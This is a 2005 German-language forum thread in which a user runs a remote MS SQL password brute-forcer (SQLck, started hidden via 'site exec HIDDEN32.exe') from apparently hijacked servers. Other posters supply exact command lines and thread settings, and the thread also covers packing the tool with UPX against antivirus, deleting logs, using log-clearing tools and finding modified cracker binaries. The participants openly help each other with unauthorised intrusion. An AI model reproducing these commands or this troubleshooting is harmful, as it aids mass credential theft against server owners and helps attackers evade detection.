remote Bruten, komischer log

Dieses Thema im Forum "Sicherheit & Datenschutz" wurde erstellt von Sypherxtc, 24. Juli 2005 .

Status des Themas:
Es sind keine weiteren Antworten möglich.
  1. Diese Seite verwendet Cookies. Wenn du dich weiterhin auf dieser Seite aufhältst, akzeptierst du unseren Einsatz von Cookies. Weitere Informationen
  1. #1 24. Juli 2005
    Hi

    hab mal ne kurze frage und zwar wenn ich remote brute dann klappt anfangs alles aber nach ca 2min sihte der log nur noch so aus:

    Code:
    xxx.201.xx.186:1433 - Cant Connect (fast-check) (0)
    xxx.201.xxx.218:1433 - Cant Connect (fast-check) (0)
    xxx.200.xxxx.40:1433 - Cant Connect (fast-check) (0)(1)socket (1412:0) got error 0 :: 10061
    (1)socket (3768:0) got error 0 :: 10061
    (1)socket (2376:0) got error 0 :: 10061
    (1)socket (3540:0) got error 0 :: 10061
    (1)socket (2376:0) got error 0 :: 10061
    (1)socket (240:0) got error 0 :: 10061
    ERR: Can't set FIONBIO option on new socket (error 10038)(xxx.201.xxx.205)
    (-1)socket (2992:0) got error 10038
    (-1)socket (2168:0) got error 10038
    (-1)socket (2168:0) got error 10038
    (1)socket (3416:0) got error 0 :: 10061
    (1)socket (2768:0) got error 0 :: 10061
    (1)socket (2464:0) got error 0 :: 10061
    (-1)socket (496:0) got error 10038
    (1)socket (3324:0) got error 0 :: 10061
    (1)socket (3276:0) got error 0 :: 10061
    (1)socket (3564:0) got error 0 :: 10061
    (1)socket (1872:0) got error 0 :: 10061
    (1)socket (3540:0) got error 0 :: 10061
    In the last 1.00 min: 0.00 IPs/sec 150.77 Pass/sec 104.50 KB/s
    usw usw
    

    aber am anfang brutet er noch gescheit aber dann nur noch das!

    Woran liegt das?


    Gruss Sypher
     

  2. Anzeige
  3. #2 24. Juli 2005
    Brute mal mit weniger Threads, ich denke es liegt daran.
     
  4. #3 24. Juli 2005
    wo stell ich die thredas ein?

    mein start befehl ist zur zeit

    "site exec hidden32.exe svcsql.exe -i scan.txt -u user.txt -p masterbrute.txt -o extract.txt"


    udn noch ne frage! ich kann den brute prozess net stopen wenn ich "site exec kill.exe svcsql.exe" eingebe killt er ihn net und er brutet weiter und ich kann die alten logs usw net löschen!
    Wie kill ich es?
    Code:
    [R] DELE SQLck_Logfile.txt
    [R] 550 C:/pfad/Bruting/SQLck_Logfile.txt: Cannot delete file.

    Gruss sypher
     
  5. #4 24. Juli 2005
    Also ich nutze SQLck, da kann man die Threadzahl einstellen...

    Code:
    site exec HIDDEN32.exe SQLck.exe -i scans.txt -u sql_user.txt -p sql_pass.txt -o brutedscans.txt -t 50
    Die "50" gibt die Threadzahl an. Mach das mal mit 30, dann sollte es keine Probleme geben.


    Das Problem mit dem Beenden hab ich allerdings auch, beim Scannen das selbe. Das einzigste was bisher geholfen hat war n Neustart des Servers, was aber risikoreich ist.
     
  6. #5 24. Juli 2005
    hm hab es jetzt per sqlexec gekillt!

    ok thx^^
    werds mal so versuchen!

    das prob ist das meine sqlck immer wnen ich sie hochgeladen hab net angezigt wird aber es läuft auch kein AV!
    ka warum es net geht, hab s auch schon mit upx gepackt! Abe rgeht trotzdem net!
    kannst mir mal deine uppen, will nur wissen ob es an meine sqlck liegt!


    Gruss Sypher
     
  7. #6 24. Juli 2005
    also ein remote stro mit dem speed oben kann 500 und mehr threads machen, das log ist voll normal
     
  8. #7 24. Juli 2005
    hm ok wenn das normal ist ok^^

    dann lass ich ihn mal mit 150 threads bruten^^


    danke hast ne 10

    fire dich hab ich schon bewertet^^


    Gruss Sypher
     
  9. #8 24. Juli 2005
    Woher willst du das wissen? Wenn das File nicht angezeigt (gelöscht) wird läuft auf jeden Fall nen AV.
     
  10. #9 24. Juli 2005
    währe ein AV drauf, währe meine clearlogs,scan500 und scan1000 auch weg! Aber da smit dem net da sien war schon auf mehren servern und ich hab den kompletten server nach nem Av abgesucht!


    Gruss Sypher
     
  11. #10 24. Juli 2005
    Hm das is echt komisch, hatte ich noch nie.
     
  12. #11 25. Juli 2005
    schonmal ne gemoddete sqlck.exe probiert?
     
  13. #12 25. Juli 2005
    ich find keine =/

    und leider kenn ich mich mit dem modden von dos progz net so aus!

    Kannst mir sagen wie?

    oder wo ich eine finde?


    Gruss Sypher
     

  14. Videos zum Thema
Die Seite wird geladen...
Similar Threads - remote Bruten komischer
  1. Remote Bruten!!!

    Papst , 7. August 2006 , im Forum: Sicherheit & Datenschutz
    Antworten:
    7
    Aufrufe:
    721
  2. Antworten:
    6
    Aufrufe:
    480
  3. Antworten:
    4
    Aufrufe:
    747
  4. Antworten:
    2
    Aufrufe:
    506
  5. per remote control updaten

    muhhaha , 20. September 2014 , im Forum: Windows
    Antworten:
    6
    Aufrufe:
    1.601